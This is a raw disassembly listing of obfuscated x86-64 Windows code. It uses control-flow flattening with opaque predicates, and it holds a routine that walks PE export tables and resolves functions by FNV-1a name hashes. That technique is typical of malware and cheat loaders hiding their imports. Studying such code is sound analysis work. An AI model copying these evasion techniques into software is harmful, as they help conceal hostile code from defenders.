jmp 0x1402b9000
cmp edx, 0xe435eeb6
jne 0x1402b9353
mov rcx, qword [rbp + 0x238]
mov rcx, qword [rbp + 0x238]
mov r8d, 0xe43c4e77
jmp 0x1402b9000
mov r8d, 0x3b7c6d44
jmp 0x1402b9000
cmp dword [rbp + 0x1f8], 0
sete byte [rbp + 0x20a]
mov r8d, dword [rbp + 0x1c4]
jmp 0x1402b9000
mov rcx, qword [rbp + 0x238]
add rcx, 1
mov qword [rbp + 0x228], rcx
mov rcx, qword [rbp + 0x238]
mov cl, byte [rcx]
mov byte [rbp + 0x226], cl
cmp byte [rbp + 0x226], 0
setne byte [rbp + 0x20b]
mov r8d, dword [rbp + 0x1cc]
jmp 0x1402b9000
cmp byte [rbp + 0x20b], 0
mov r8d, 0xa3229d86
mov eax, 0xc4fc00df
cmovne r8d, eax
jmp 0x1402b9000
mov r8d, edx
cmp edx, 0xd16776db
jne 0x1402b9000
mov eax, dword [rbp + 0x1f4]
cmp eax, 0x7e1b3ec5
mov edi, 0x1ef1e337
mov eax, 0x1c5bfef
cmove edi, eax
mov r8d, dword [rbp + 0x180]
mov r10d, dword [rbp + 0x1d4]
mov r11, qword [rbp + 0x88]
mov r14, qword [rbp + 0x98]
mov r9d, dword [rbp + 0xa0]
mov r15, qword [rbp + 0xa8]
mov r12, qword [rbp + 0xb0]
jmp 0x1402b885d
mov r15, qword [rbp + 0x238]
mov edi, 0xf69bbb1c
mov r9d, 1
jmp 0x1402b885d
mov dword [rbp + 0x238], edx
mov r8d, dword [rbp + 0x238]
mov edi, 0x1ef1e337
jmp 0x1402b885d
mov edi, 0xb21c0a59
jmp 0x1402b885d
and al, 1
mov byte [rbp + 0x20c], al
mov eax, dword [0x14083ef08]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edi, 0xe7187761
mov eax, 0xb17de832
jmp 0x1402b8850
cmp edi, 0x8e41c55a
jne 0x1402b885d
mov rax, qword [rbp + 0x70]
mov qword [rbp + 0x58], rax
mov eax, dword [0x14083ef00]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3ca0d9ed
mov ecx, 0xfe61a40c
cmove eax, ecx
cmp dword [0x14083ef04], 0xa
cmovl eax, ecx
jmp 0x1402b8610
mov qword [rbp + 0x190], rcx
mov rax, qword [rbp + 0x190]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x218], rax
mov edi, 0x4e836706
jmp 0x1402b949d
mov eax, dword [0x14083ef08]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edi, 0x844a4f8a
mov eax, 0xc57b49b3
nop dword [rax]
cmove edi, eax
cmp dword [0x14083ef0c], 0xa
cmovl edi, eax
cmp edi, 0xe7187760
jg 0x1402b9510
cmp edi, 0xb21c0a58
jg 0x1402b9570
cmp edi, 0x96a160e1
jle 0x1402b9700
cmp edi, 0x96a160e2
je 0x1402b97ce
cmp edi, 0x9b2c4326
je 0x1402b97f8
cmp edi, 0xb17de832
jne 0x1402b949d
cmp byte [rbp + 0x20c], 0
mov edi, 0xe6b7b383
mov eax, 0x4e836706
cmovne edi, eax
mov rax, qword [rbp + 0x148]
mov qword [rbp + 0x90], rax
jmp 0x1402b949d
cmp edi, 0x2537a3ee
jg 0x1402b95b0
cmp edi, 0x1c5bfee
jle 0x1402b9736
cmp edi, 0x1c5bfef
je 0x1402b9802
cmp edi, 0x880e35c
je 0x1402b9474
cmp edi, 0x1ef1e337
jne 0x1402b949d
mov eax, r8d
sub eax, 1
mov dword [rbp + 0x180], eax
mov edi, 0x2537a3ef
mov eax, 0x40ee6527
cmovb edi, eax
jmp 0x1402b949d
cmp edi, 0xc57b49b2
jle 0x1402b976c
cmp edi, 0xc57b49b3
je 0x1402b98db
cmp edi, 0xdfc32b48
je 0x1402b98ec
cmp edi, 0xe6b7b383
jne 0x1402b949d
mov edi, 0x51af8e40
xor r11d, r11d
jmp 0x1402b949d
cmp edi, 0x4e836705
jle 0x1402b97a2
cmp edi, 0x57bab3db
je 0x1402b990e
cmp edi, 0x51af8e40
je 0x1402b99ab
cmp edi, 0x4e836706
jne 0x1402b949d
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x150], rax
lea rax, [rbp + 0x190]
mov qword [rbp + 0x158], rax
mov rax, qword [rbp + 0x158]
mov rax, qword [rbp + 0x210]
mov rax, qword [rax + 0x30]
mov edx, dword [0x14083e230]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
sete byte [rbp + 0x228]
mov edx, dword [0x14083e234]
mov ebx, 0x692076d1
mov ecx, 0xac852ca3
cmove ebx, ecx
cmp edx, 0xa
setl byte [rbp + 0x238]
cmovl ebx, ecx
mov edx, 0x324d120
nop dword [rax]
cmp edx, 0x692076d0
jg 0x1402b9690
cmp edx, 0xac852ca3
je 0x1402b99d4
cmp edx, 0x324d120
jne 0x1402b9650
movzx ecx, byte [rbp + 0x228]
cmp byte [rbp + 0x238], 0
mov edx, 0x692076d1
mov edi, 0x6977fb76
cmovne edx, edi
test cl, cl
cmovne edx, edi
jmp 0x1402b9650
cmp edx, 0x692076d1
je 0x1402b96cd
cmp edx, 0x6977fb76
jne 0x1402b9650
mov qword [rbp + 0x190], rax
movsxd rcx, dword [rax + 0x3c]
mov edx, dword [rax + rcx + 0x88]
mov ecx, dword [rax + rcx + 0x8c]
add rdx, rax
mov qword [rbp + 0x198], rdx
mov dword [rbp + 0x1a0], ecx
mov edx, ebx
jmp 0x1402b9650
mov qword [rbp + 0x190], rax
movsxd rcx, dword [rax + 0x3c]
mov edx, dword [rax + rcx + 0x88]
mov ecx, dword [rax + rcx + 0x8c]
add rdx, rax
mov qword [rbp + 0x198], rdx
mov dword [rbp + 0x1a0], ecx
mov edx, 0x6977fb76
jmp 0x1402b9650
cmp edi, 0x844a4f8a
je 0x1402b99fb
cmp edi, 0x95933a11
jne 0x1402ba056
mov eax, dword [0x14083ef08]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edi, 0xe7187761
mov eax, 0xb21c0a59
jmp 0x1402b9490
cmp edi, 0xe7187761
je 0x1402b9a05
cmp edi, 0xf69bbb1c
jne 0x1402b949d
test r9d, r9d
mov edi, 0x96a160e2
mov eax, 0xdfc32b48
cmove edi, eax
mov r10d, r9d
mov r14, r15
mov r12, r15
jmp 0x1402b949d
cmp edi, 0xb21c0a59
je 0x1402b9a84
cmp edi, 0xb8226e99
jne 0x1402b949d
mov eax, dword [0x14083ef08]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edi, 0x9b2c4326
mov eax, 0x8e41c55a
jmp 0x1402b9490
cmp edi, 0x2537a3ef
je 0x1402b9b11
cmp edi, 0x40ee6527
jne 0x1402b949d
mov edi, 0xf69bbb1c
xor r9d, r9d
mov r15, qword [rbp + 0x150]
jmp 0x1402b949d
mov qword [rbp + 0x148], r14
mov rax, qword [rbp + 0x158]
test r10d, r10d
mov edi, 0x51af8e40
mov eax, 0x95933a11
cmove edi, eax
mov r11, qword [rbp + 0x148]
jmp 0x1402b949d
mov edi, 0xb8226e99
jmp 0x1402b949d
mov r9d, dword [rbp + 0x180]
mov ecx, dword [0x14083e238]
mov edx, dword [0x14083e23c]
lea ebx, [rcx - 1]
imul ebx, ecx
test bl, 1
sete byte [rbp + 0x234]
mov esi, 0x64b3389d
mov ecx, 0xc25e528a
cmove esi, ecx
cmp edx, 0xa
setl byte [rbp + 0x228]
mov rbx, qword [rbp + 0x190]
mov rdi, qword [rbp + 0x198]
cmovl esi, ecx
mov edx, 0xa3426ff2
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xd38a7359
jg 0x1402b9880
cmp edx, 0xa3426ff2
je 0x1402b9897
cmp edx, 0xc25e528a
jne 0x1402b9860
jmp 0x1402b9ff8
cmp edx, 0xd38a735a
je 0x1402b98b9
cmp edx, 0x64b3389d
jne 0x1402b9860
mov edx, 0xd38a735a
jmp 0x1402b9860
movzx ecx, byte [rbp + 0x234]
cmp byte [rbp + 0x228], 0
mov edx, 0x64b3389d
mov eax, 0xd38a735a
cmovne edx, eax
test cl, cl
cmovne edx, eax
jmp 0x1402b9860
mov ecx, dword [rdi + 0x1c]
mov edx, dword [rdi + 0x24]
add rcx, rbx
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov ecx, dword [rcx + rdx*4]
add rcx, rbx
mov qword [rbp + 0x238], rcx
mov edx, esi
jmp 0x1402b9860
mov edi, 0x96a160e2
xor r10d, r10d
mov r14, qword [rbp + 0x78]
jmp 0x1402b949d
mov qword [rbp + 0x78], r12
mov eax, dword [0x14083ef08]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edi, 0x844a4f8a
mov eax, 0x880e35c
jmp 0x1402b9490
mov eax, dword [0x14083e240]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rbp + 0x234]
mov eax, dword [0x14083e244]
mov ebx, 0x8b27232d
mov ecx, 0x1ca195b3
cmove ebx, ecx
cmp eax, 0xa
setl byte [rbp + 0x228]
mov rdi, qword [rbp + 0x198]
cmovl ebx, ecx
mov eax, 0x7ed650e2
cmp eax, 0x1ca195b2
jg 0x1402b9970
cmp eax, 0x8b27232d
je 0x1402b99a4
cmp eax, 0xbb9f5d90
jne 0x1402b9950
mov edx, dword [rdi + 0x18]
mov eax, ebx
jmp 0x1402b9950
cmp eax, 0x1ca195b3
je 0x1402ba00f
cmp eax, 0x7ed650e2
jne 0x1402b9950
movzx ecx, byte [rbp + 0x234]
cmp byte [rbp + 0x228], 0
mov eax, 0x8b27232d
mov esi, 0xbb9f5d90
cmovne eax, esi
test cl, cl
cmovne eax, esi
jmp 0x1402b9950
mov eax, 0xbb9f5d90
jmp 0x1402b9950
mov qword [rbp + 0x70], r11
mov rax, qword [rbp + 0x160]
mov eax, dword [0x14083ef08]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edi, 0x9b2c4326
mov eax, 0xb8226e99
jmp 0x1402b9490
mov rax, qword [rbp + 0x198]
cmp rax, qword [rbp + 0x190]
mov edi, 0x57bab3db
mov eax, 0xdfc32b48
cmove edi, eax
mov r12, qword [rbp + 0x150]
jmp 0x1402b949d
mov edi, 0x880e35c
jmp 0x1402b949d
mov rax, qword [rbp + 0x210]
mov rcx, qword [rbp + 0x218]
mov rax, qword [rax]
mov qword [rbp + 0x228], rax
mov rax, qword [rbp + 0x228]
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x238], rcx
mov eax, 0x936abfa2
nop word [rax + rax]
cmp eax, 0x8e78f025
je 0x1402ba026
cmp eax, 0x4104a297
je 0x1402b9a76
cmp eax, 0x936abfa2
jne 0x1402b9a40
mov rax, qword [rbp + 0x228]
cmp rax, qword [rbp + 0x238]
mov eax, 0x4104a297
mov ecx, 0x8e78f025
cmove eax, ecx
jmp 0x1402b9a40
mov rax, qword [rbp + 0x228]
mov eax, 0x8e78f025
jmp 0x1402b9a40
mov rax, qword [rbp + 0x210]
mov rcx, qword [rbp + 0x218]
mov rax, qword [rax]
mov qword [rbp + 0x228], rax
mov rax, qword [rbp + 0x228]
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x238], rcx
mov edx, 0x936abfa2
nop word cs:[rax + rax]
cmp edx, 0x8e78f025
je 0x1402ba030
cmp edx, 0x4104a297
je 0x1402b9afb
cmp edx, 0x936abfa2
jne 0x1402b9ac0
mov rax, qword [rbp + 0x228]
cmp rax, qword [rbp + 0x238]
mov edx, 0x4104a297
mov eax, 0x8e78f025
cmove edx, eax
xor eax, eax
jmp 0x1402b9ac0
mov rax, qword [rbp + 0x228]
cmp qword [rax + 0x30], 0
setne al
mov edx, 0x8e78f025
jmp 0x1402b9ac0
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xa8], r15
mov dword [rbp + 0xa0], r9d
mov qword [rbp + 0x98], r14
mov qword [rbp + 0x88], r11
mov dword [rbp + 0x1d4], r10d
mov eax, dword [rbp + 0x180]
mov rdx, qword [rbp + 0x190]
mov rcx, qword [rbp + 0x198]
mov ecx, dword [rcx + 0x20]
add rcx, rdx
mov eax, dword [rcx + rax*4]
add rax, rdx
mov qword [rbp + 0x200], rax
mov eax, dword [0x14083e220]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x14083e224], 0xa
setl dl
or dl, al
mov eax, dword [0x14083e228]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
sete al
cmp dword [0x14083e22c], 0xa
setl bl
or bl, al
mov r10d, 0x88bf6b6d
mov eax, 0x4401a585
cmovne r10d, eax
mov esi, 0x88bf6b6d
mov eax, 0x26eb59a3
cmovne esi, eax
test dl, dl
mov ecx, 0xef4b7c94
mov eax, 0x4af65b55
cmovne ecx, eax
mov dword [rbp + 0x1c4], ecx
mov ecx, 0xef4b7c94
mov eax, 0x23ea633d
cmovne ecx, eax
mov dword [rbp + 0x1c8], ecx
mov r12d, 0x160c3cba
mov eax, 0xf62c5ae8
cmovne r12d, eax
mov r9d, 0x160c3cba
mov eax, 0x3b7c6d44
cmovne r9d, eax
mov ecx, 0xe435eeb6
mov eax, 0x58f9c82a
cmovne ecx, eax
mov dword [rbp + 0x1cc], ecx
mov ecx, 0xe435eeb6
mov eax, 0xe43c4e77
cmovne ecx, eax
mov dword [rbp + 0x1d0], ecx
mov r8d, 0x51e4684b
mov r14d, 0x811c9dc5
jmp 0x1402b9c40
mov ecx, dword [rbp + 0x1f8]
mov r8d, 0x23ea633d
mov r15d, r8d
cmp r8d, 0x160c3cb9
jle 0x1402b9cc0
cmp r15d, 0x3b7c6d43
jle 0x1402b9e20
cmp r15d, 0x51e4684a
jg 0x1402b9eb7
mov r8d, r12d
cmp r15d, 0x3b7c6d44
je 0x1402b9c40
mov r8d, r15d
cmp r15d, 0x4af65b55
jne 0x1402b9c40
cmp byte [rbp + 0x20a], 0
mov r8d, 0xd16776db
mov ecx, 0x51e4684b
cmovne r8d, ecx
mov rcx, qword [rbp + 0x228]
mov qword [rbp + 0x200], rcx
mov r14d, dword [rbp + 0x1bc]
mov r11d, dword [rbp + 0x1f4]
jmp 0x1402b9c40
cmp r15d, 0xe43c4e76
jg 0x1402b9e70
cmp r15d, 0xd16776da
jg 0x1402b9ef9
mov r8d, r9d
cmp r15d, 0xa3229d86
je 0x1402b9c40
mov r8d, r15d
cmp r15d, 0xc4fc00df
jne 0x1402b9c40
movsx ecx, byte [rbp + 0x226]
mov r8d, dword [rbp + 0x17c]
mov dword [rbp + 0x234], ecx
mov edi, 0x8b437c89
mov ebx, 0x68ed306f
mov eax, 0x1613601d
jmp 0x1402b9d30
mov ecx, dword [rbp + 0x234]
mov edi, 0x26eb59a3
nop word [rax + rax]
cmp edi, 0x1613601c
jle 0x1402b9d70
cmp edi, 0x4401a584
jg 0x1402b9da0
cmp edi, 0x1613601d
je 0x1402b9dcf
cmp edi, 0x26eb59a3
jne 0x1402b9d30
mov ecx, dword [rbp + 0x234]
cmp ecx, 0x5b
setl byte [rbp + 0x209]
mov edi, r10d
jmp 0x1402b9d30
cmp edi, 0x9c5db898
jg 0x1402b9db7
cmp edi, 0x88bf6b6d
je 0x1402b9d1f
cmp edi, 0x8b437c89
jne 0x1402b9d30
mov ecx, dword [rbp + 0x234]
cmp ecx, 0x41
mov edi, 0xf78c71ea
cmovge edi, ebx
jmp 0x1402b9d30
cmp edi, 0x4401a585
je 0x1402b9de2
cmp edi, 0x68ed306f
jne 0x1402b9d30
mov edi, esi
jmp 0x1402b9d30
cmp edi, 0xf78c71ea
jne 0x1402b9df6
mov edi, 0x9c5db899
mov edx, dword [rbp + 0x234]
jmp 0x1402b9d30
mov edx, dword [rbp + 0x234]
or edx, 0x20
mov edi, 0x9c5db899
jmp 0x1402b9d30
cmp byte [rbp + 0x209], 0
mov edi, 0xf78c71ea
cmovne edi, eax
jmp 0x1402b9d30
cmp edi, 0x9c5db899
jne 0x1402b9d30
xor edx, r8d
imul r13d, edx, 0x1000193
mov r8d, 0x2969588e
xor edx, edx
mov eax, dword [rbp + 0x38]
jmp 0x1402b9c40
cmp r15d, 0x160c3cba
je 0x1402b9f1f
cmp r15d, 0x23ea633d
je 0x1402b9f2a
mov r8d, r15d
cmp r15d, 0x2969588e
jne 0x1402b9c40
mov dword [rbp + 0x1f8], edx
mov dword [rbp + 0x1f4], eax
mov dword [rbp + 0x1bc], r13d
mov r8d, dword [rbp + 0x1c8]
jmp 0x1402b9c40
cmp r15d, 0xe43c4e77
je 0x1402b9f44
cmp r15d, 0xef4b7c94
je 0x1402b9c34
mov r8d, r15d
cmp r15d, 0xf62c5ae8
jne 0x1402b9c40
mov r13d, dword [rbp + 0x17c]
mov r8d, 0x2969588e
mov edx, 1
mov eax, dword [rbp + 0x17c]
jmp 0x1402b9c40
cmp r15d, 0x58f9c82a
je 0x1402b9f7f
mov r8d, r15d
cmp r15d, 0x51e4684b
jne 0x1402b9c40
mov dword [rbp + 0x38], r11d
mov dword [rbp + 0x17c], r14d
mov rcx, qword [rbp + 0x200]
mov qword [rbp + 0x238], rcx
mov r8d, dword [rbp + 0x1d0]
jmp 0x1402b9c40
cmp r15d, 0xe435eeb6
jne 0x1402b9f9a
mov rcx, qword [rbp + 0x238]
mov rcx, qword [rbp + 0x238]
mov r8d, 0xe43c4e77
jmp 0x1402b9c40
mov r8d, 0x3b7c6d44
jmp 0x1402b9c40
cmp dword [rbp + 0x1f8], 0
sete byte [rbp + 0x20a]
mov r8d, dword [rbp + 0x1c4]
jmp 0x1402b9c40
mov rdi, qword [rbp + 0x238]
add rdi, 1
mov qword [rbp + 0x228], rdi
mov rdi, qword [rbp + 0x238]
mov cl, byte [rdi]
mov byte [rbp + 0x226], cl
cmp byte [rbp + 0x226], 0
setne byte [rbp + 0x20b]
mov r8d, dword [rbp + 0x1cc]
jmp 0x1402b9c40
cmp byte [rbp + 0x20b], 0
mov r8d, 0xa3229d86
mov ecx, 0xc4fc00df
cmovne r8d, ecx
jmp 0x1402b9c40
mov r8d, r15d
cmp r15d, 0xd16776db
jne 0x1402b9c40
mov eax, dword [rbp + 0x1f4]
cmp eax, 0x7e1b3ec5
mov edi, 0x1ef1e337
mov eax, 0x1c5bfef
cmove edi, eax
mov r8d, dword [rbp + 0x180]
mov r10d, dword [rbp + 0x1d4]
mov r11, qword [rbp + 0x88]
mov r14, qword [rbp + 0x98]
mov r9d, dword [rbp + 0xa0]
mov r15, qword [rbp + 0xa8]
mov r12, qword [rbp + 0xb0]
jmp 0x1402b949d
mov r15, qword [rbp + 0x238]
mov edi, 0xf69bbb1c
mov r9d, 1
jmp 0x1402b949d
mov dword [rbp + 0x238], edx
mov r8d, dword [rbp + 0x238]
mov edi, 0x1ef1e337
jmp 0x1402b949d
mov edi, 0xb21c0a59
jmp 0x1402b949d
and al, 1
mov byte [rbp + 0x20c], al
mov eax, dword [0x14083ef08]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edi, 0xe7187761
mov eax, 0xb17de832
jmp 0x1402b9490
cmp edi, 0x8e41c55a
jne 0x1402b949d
mov rax, qword [rbp + 0x70]
mov eax, 0xe82afe92
jmp 0x1402b8610
mov cl, byte [rbp + 0x17b]
cmp byte [rbp + 0x17a], 0
mov eax, 0x9628cfd1
mov edx, 0xc219d46f
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe6e624e1
mov ecx, 0x39227698
jmp 0x1402b3de0
cmp dword [0x14082e750], 0xffffffff
mov eax, 0xb59b286e
mov ecx, 0xe1f298a3
cmove eax, ecx
jmp 0x1402b3ded
mov eax, 0xf625b593
jmp 0x1402b3ded
test bl, 1
movss dword [rbp + 0x190], xmm0
cvttss2si eax, dword [rbp + 0x190]
mov dword [rbp + 4], eax
movss xmm0, dword [0x14083dcec]
sete byte [rbp + 0x238]
cmp edi, 0xa
setl byte [rbp + 0x210]
sub rsp, 0x20
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
add rsp, 0x20
mov eax, 0xd5e09d55
nop word cs:[rax + rax]
cmp eax, 0x4b4142e4
jg 0x1402ba160
cmp eax, 0xa59062ab
je 0x1402ba176
cmp eax, 0xd5e09d55
jne 0x1402ba120
movzx ecx, byte [rbp + 0x238]
cmp byte [rbp + 0x210], 0
mov eax, 0xa59062ab
mov edx, 0x6a6efff6
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x1402ba120
cmp eax, 0x4b4142e5
je 0x1402bc43d
cmp eax, 0x6a6efff6
jne 0x1402ba120
mov eax, esi
jmp 0x1402ba120
mov eax, 0x6a6efff6
jmp 0x1402ba120
mov eax, dword [rbp + 0x18c]
mov eax, dword [rbp + 0x1c0]
mov eax, 0xf6dd2f70
jmp 0x1402b3ded
mov dword [0x14083dfc4], 1
mov eax, 0x4c4728
jmp 0x1402b3ded
cmp byte [rbp + 0x172], 0
mov eax, 0x5b51e5c3
mov ecx, 0xfb2b9116
cmovne eax, ecx
jmp 0x1402b3ded
cmp byte [0x14083dfd8], 0
mov eax, 0x8e243482
mov ecx, 0xdca38d04
cmove eax, ecx
jmp 0x1402b3ded
mov dword [0x14083dfc8], 1
mov eax, 0x31f291dc
jmp 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x50b76e63
mov ecx, 0x4338e96d
jmp 0x1402b3de0
mov rax, qword [rbp - 0x60]
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x47401616
mov ecx, 0xd353affb
jmp 0x1402b3de0
mov eax, dword [rbp + 0x1fc]
cmp eax, 0x14
setl byte [rbp + 0x177]
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x22a9f22
mov ecx, 0x41ecd952
jmp 0x1402b3de0
mov rax, qword [rbp - 0x28]
mov byte [rbp + 0x1e4], al
mov eax, dword [rbp + 0x28]
mov dword [rbp + 0x64], eax
mov eax, dword [rbp + 0x64]
cmp eax, 0x14
mov eax, 0x59e9bda1
mov ecx, 0x32b055e9
cmovl eax, ecx
jmp 0x1402b3ded
mov eax, 0x607c83cc
jmp 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5b1ab26
mov ecx, 0x437a3dad
jmp 0x1402b3de0
mov rax, qword [rbp + 0x80]
mov rdx, qword [rax]
sub rsp, 0x20
lea rcx, [0x14083dce8]
call fcn.1402af750
add rsp, 0x20
movss xmm0, dword [0x14083dce8]
mov eax, dword [0x14083eed0]
mov edi, dword [0x14083eed4]
lea ebx, [rax - 1]
imul ebx, eax
sub rsp, 0x20
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
add rsp, 0x20
test bl, 1
sete byte [rbp + 0x238]
mov esi, 0xa59062ab
mov eax, 0x4b4142e5
cmove esi, eax
cmp edi, 0xa
setl byte [rbp + 0x210]
cmovl esi, eax
mov eax, 0xd5e09d55
nop dword [rax]
cmp eax, 0x4b4142e4
jg 0x1402ba360
cmp eax, 0xa59062ab
je 0x1402ba376
cmp eax, 0xd5e09d55
jne 0x1402ba320
movzx ecx, byte [rbp + 0x238]
cmp byte [rbp + 0x210], 0
mov eax, 0xa59062ab
mov edx, 0x6a6efff6
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x1402ba320
cmp eax, 0x4b4142e5
je 0x1402bc469
cmp eax, 0x6a6efff6
jne 0x1402ba320
mov eax, esi
jmp 0x1402ba320
mov eax, 0x6a6efff6
jmp 0x1402ba320
mov dword [rbp + 0x14], 0
mov dword [rbp + 0x54], 0
mov eax, 0x46b54578
jmp 0x1402b3ded
mov al, byte [rbp + 0x1de]
and al, 1
mov byte [rbp + 0x170], al
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x65602196
mov ecx, 0xf5e6de44
jmp 0x1402b3de0
cmp byte [0x14083df91], 0
mov eax, 0xaa8c19e
jmp 0x1402bb88e
mov rax, qword [rax]
mov qword [0x14083dce8], rax
mov eax, 0x10eee3ef
jmp 0x1402b3ded
mov eax, dword [0x14083dfa8]
mov dword [rbp + 0x184], eax
mov eax, 0xd0ba0e97
jmp 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x679c182d
mov ecx, 0x6f87fad7
jmp 0x1402b3de0
mov eax, 0x704fcf8c
jmp 0x1402b3ded
mov eax, 0x4461e4f8
mov dword [rbp + 0x18], 0
mov cl, byte [rbp + 0x1e4]
mov byte [rbp + 0x1ee], cl
jmp 0x1402b3ded
mov eax, 0x72bcbce
jmp 0x1402b3ded
cmp byte [0x14083df90], 0
mov eax, 0x87de1a62
mov ecx, 0xe67c3d
cmove eax, ecx
jmp 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9fa77499
mov ecx, 0x607c83cc
jmp 0x1402b3de0
mov eax, 0x45048a16
mov cl, byte [rbp + 0x20f]
mov byte [rbp + 0x1ef], cl
jmp 0x1402b3ded
cmp byte [0x14083df93], 0
mov eax, 0x3efb3317
mov ecx, 0xe06ed2e8
cmove eax, ecx
jmp 0x1402b3ded
mov eax, 0xdf84e053
jmp 0x1402b3ded
mov eax, dword [rbp + 0x188]
cmp eax, 2
mov eax, 0x3cde9da
mov ecx, 0x55edcb44
cmovl eax, ecx
jmp 0x1402b3ded
cmp dword [rbp + 0x184], 0
mov eax, 0xb597cf66
mov ecx, 0x27a3cca6
cmove eax, ecx
jmp 0x1402b3ded
cmp byte [0x14083da11], 0
setne byte [rbp + 0x174]
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa192a489
mov ecx, 0x3a5840b5
jmp 0x1402b3de0
mov eax, dword [rbp - 8]
mov eax, 0xaf4eb900
jmp 0x1402b3ded
mov dword [rbp + 0x10], 0
mov al, byte [rbp + 0x1e0]
mov byte [rbp + 0x1ea], al
mov eax, 0xbf4823c7
jmp 0x1402b3ded
mov eax, 0x3098ecdb
jmp 0x1402b3ded
mov byte [0x14083dce0], 1
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x50b76e63
mov ecx, 0xb84d6b44
jmp 0x1402b3de0
mov eax, 0xc219d46f
jmp 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xef0c5803
mov ecx, 0x6e485d00
jmp 0x1402b3de0
mov eax, dword [rbp + 0x188]
cmp eax, 3
mov eax, 0x5a7061a1
mov ecx, 0xea5fd67b
cmovl eax, ecx
jmp 0x1402b3ded
mov byte [0x14083da11], 0
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp - 0x10]
mov edx, dword [0x140837e60]
mov ebx, dword [0x140837e64]
lea edi, [rdx - 1]
imul edi, edx
test dil, 1
sete byte [rbp + 0x210]
cmp ebx, 0xa
setl byte [rbp + 0x190]
mov edx, 0xd955c508
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xe1184721
jg 0x1402ba640
cmp edx, 0x8d0856b4
je 0x1402bc50d
cmp edx, 0xd955c508
jne 0x1402ba600
movzx ebx, byte [rbp + 0x210]
cmp byte [rbp + 0x190], 0
mov edx, 0xe1184722
mov edi, 0x46c478f2
cmovne edx, edi
test bl, bl
cmovne edx, edi
jmp 0x1402ba600
cmp edx, 0xe1184722
je 0x1402ba67f
cmp edx, 0x46c478f2
jne 0x1402ba600
mov qword [rcx], 0
mov edx, dword [0x140837e60]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0xe1184722
mov ebx, 0x8d0856b4
cmove edx, ebx
cmp dword [0x140837e64], 0xa
cmovl edx, ebx
jmp 0x1402ba600
mov qword [rcx], 0
mov edx, 0x46c478f2
jmp 0x1402ba600
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x47401616
mov ecx, 0xd0714caa
jmp 0x1402b3de0
mov eax, dword [rbp + 0x1fc]
mov eax, dword [rbp + 0x1fc]
mov eax, dword [rbp + 0x1fc]
mov eax, dword [rbp + 0x1fc]
mov eax, dword [rbp + 0x1fc]
mov eax, dword [rbp + 0x1fc]
mov eax, 0xc1100d7
jmp 0x1402b3ded
mov eax, dword [rbp + 0x4c]
mov dword [rbp + 0x44], eax
mov eax, dword [rbp + 0x48]
or eax, dword [rbp + 0x44]
mov eax, 0x7ecc72a7
mov ecx, 0x15909ba5
cmovne eax, ecx
jmp 0x1402b3ded
mov eax, dword [rbp + 0x40]
lea eax, [rax + rax*4]
add eax, dword [rbp + 0x3c]
cdqe
mov rcx, qword [0x14083dd18]
movzx r15d, byte [rcx + rax*4]
cmp r15d, 0x64
setae byte [rbp + 0x88]
cmp r15d, 0x4f
setb byte [rbp + 0x90]
cmp r15d, 0x5a
setb byte [rbp + 0x98]
cmp r15d, 0x3d
setae r10b
movzx r12d, byte [rcx + rax*4 + 1]
movzx edi, byte [rcx + rax*4 + 2]
cmp edi, 0x6e
setae byte [rbp + 0x200]
cmp edi, 0x69
setae r11b
mov eax, edi
sub eax, r15d
mov esi, r15d
sub esi, r12d
cmp esi, 0x3c
setge r9b
mov r8d, edi
sub r8d, r12d
mov ecx, eax
neg ecx
mov edx, eax
cmovge edx, ecx
cmp edx, 0xe
mov ebx, 0x320b7ca8
mov edx, 0x9243edaa
cmovb ebx, edx
